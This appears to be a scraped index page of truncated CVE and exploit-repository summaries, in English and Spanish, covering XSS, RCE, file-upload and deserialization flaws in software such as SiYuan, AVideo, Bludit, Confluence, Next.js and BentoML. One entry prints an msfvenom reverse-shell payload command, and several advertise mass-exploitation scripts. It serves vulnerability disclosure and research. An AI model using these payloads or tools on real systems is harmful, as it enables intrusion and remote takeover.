CVE-2026-100639

SiYuan v3.8.3 is vulnerable to a Cross-Site Scripting (XSS) flaw due to a failure to HTML-escape the data-subtype attribute during gutter-button markup generation. This occurs when content containing a Kramdown inline attribute list (IAL) is pasted as plain-text Markdown. The shared Lute renderer...

CVE-2026-100639 SiYuan before v3.8.4 Cross-Site Scripting via Kramdown IAL

SiYuan v3.8.3 fails to HTML-escape the data-subtype attribute when generating gutter-button markup app/src/protyle/gutter/button.ts, assigned via innerHTML in app/src/protyle/gutter/index.ts from content pasted as plain-text Markdown containing a Kramdown inline attribute list IAL. Because the...

CVE-2026-100630

AVideo contains a stored cross-site scripting (XSS) vulnerability within the video trailer1 field . The issue arises because this field is rendered unsanitized inside an inline onclick JavaScript string . Attackers who possess video upload permissions can inject HTML entity-encoded payloads that ...

EUVD-2026-87724

AVideo contains a stored cross-site scripting vulnerability in the video trailer1 field rendered unsanitized within an inline onclick JavaScript string. Attackers with video upload permission can store HTML entity-encoded payloads that bypass isValidURL validation and are decoded by the browser t...

CVE-2019-16113

Bludit 3.9.2 - Ejecución remota de comandos - CVE-2019-16113 Este exploit combina dos exploits en Bludit CMS 3.9.2 para obtener ejecución remota de código en el sistema objetivo. Los exploits originales son CVE-2019-17240 & CVE-2019-16113. Características Fuerza bruta de contraseña + RCE Fuerza...

CVE-2023-24249-PoC

CVE-2023-24249 PoC CVE-2023-24249 es una vulnerabilidad de carga arbitraria de archivos en laravel-admin v1.8.19. Esta prueba de concepto explota la vulnerabilidad para subir una web shell. El exploit fue escrito para usarse contra la máquina fácil Usage de HackTheBox. Ejemplo python3...

CVE-2018-20250

Setup Video demo: https://youtu.be/5tuWsi1tGS0 VirtualBox Machine: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Procedure Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: root@kitploit...

CVE-2025-26865

CVE-2025-26865: Inyección de plantillas del lado del servidor en FreeMarker a través del plugin "ecommerce" en Apache OfBiz Debido a una regresión entre 18.12.17 y 18.12.18, la corrección para el hallazgo CVE-2022-25813: Inyección de plantillas del lado del servidor en FreeMarker en Apache OfBiz...

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — ATO anónimo de FreeScout → RCE Ejecución remota de código sin autenticación en FreeScout ≤ 1.8.223 un sistema de help desk en Laravel mediante la combinación de dos fallos, ambos corregidos en 1.8.224 : CVE-2026-53595 — toma de cuenta anónima. POST...

CVE-2023-22518

CVE-2023-22518 Exploit for Confluence CVE-2023-22518 backup-restore RCE Endpoint POST /setup/setup-restore.action Requires valid login and admin rights or an auth bypass Files xmlexport-20231127-071916-1.zip – empty Confluence backup. Restoring this will DELETE all data!!! Replace with any backup...

Apache-Struts-CVE-2017-5638-RCE-Mass-Scanner

Apache-Struts-CVE-2017-5638-RCE-Mass-Scanner...

CVE-2025-56513-NiceHash-Update-Chain-Compromise

CVE-2025-56513 Critical Supply-Chain Vulnerability in NiceHash QuickMiner Update Mechanism Author: Prince T Philip Role: Independent Security Researcher Severity: CRITICAL — CVSS 9.8 Impact: Remote Code Execution / Supply-Chain Compromise Status: Publicly Disclosed & Assigned CVE-2025-56513...

CVE_2020_35848

🧨 CVE‑2020‑35848 – Cockpit CMS 0.11.2 Laboratorio de inyección NoSQL RCE CVE‑2020‑35848 afecta a Agentejo Cockpit CMS en versiones anteriores a 0.11.2, introduciendo una vulnerabilidad crítica de inyección NoSQL en el endpoint /auth/newpassword. Este fallo permite a atacantes no autenticados...

Laravel-CVE-2018-15133

Laravel-CVE-2018-15133 This Python script will allow you to create lists of sites and exploit them quickly. Prerequisites: python curl Usage: $ python cve.py Execute the script $ "Which site do you want to attack =" http:victime.com/ Add the site to the list $ chmod +x nikmok.txt gives 777...

Mysql_CVE-2024-27766

Guía de Reproducción del Exploit versión afectada del producto MariaDB 11.1 Esta guía proporciona instrucciones paso a paso para reproducir un ataque de Función Definida por el Usuario UDF en un sistema de base de datos. Tenga en cuenta que este exploit puede funcionar en algunos sistemas, pero...

Spring4ShellPoC

Spring4ShellPoC PoC de Spring4Shell CVE-2022-22965 Solo jugando con el exploit. Modificado a partir del buen trabajo hecho por BobTheShopLifter, https://github.com/BobTheShoplifter/Spring4Shell-POC y TryHackMe, https://tryhackme.com/room/spring4shell Solo algunos ajustes. Añadí algunos bits extra...

Next.js-RCE-Scanner---CVE-2025-55182-CVE-2025-66478

🔍 Next.js RCE Scanner - CVE-2025-55182 & CVE-2025-66478 Un escáner potente y fácil de usar para detectar vulnerabilidades críticas de RCE en aplicaciones Next.js 🎯 Descripción general Un escáner avanzado de vulnerabilidades para detectar CVE-2025-55182 y CVE-2025-66478 : vulnerabilidades críticas...

CVE-2025-27520

CVE-2025-27520 exploit para CVE-2025-27520: una vulnerabilidad de ejecución remota de código RCE causada por deserialización insegura en la última versión v1.4.2 de BentoML. Permite a cualquier usuario no autenticado ejecutar código arbitrario en el servidor. Existe un segmento de código inseguro...

CVE-2026-14282

CVE-2026-14282 — Plugin GoDAM para WordPress RCE Autor: nullwhisper Caso de uso: solo investigación de seguridad autorizada / validación de vulnerabilidades. ¿Qué es esto? Las versiones = 1.12.2 del plugin GoDAM para WordPress registran un campo de WPForms llamado godamrecord. El gestor de subida...

CVE-2026-Pending-Django-Summernote-RCE

CVE-2026-XXXXX Pendiente: django-summernote Carga Arbitraria de Archivos RCE Este repositorio contiene una Prueba de Concepto PoC para una vulnerabilidad de Ejecución Remota de Código RCE Condicional descubierta en django-summernote versión 0.8.20.0 y anteriores. Detalles de la Vulnerabilidad...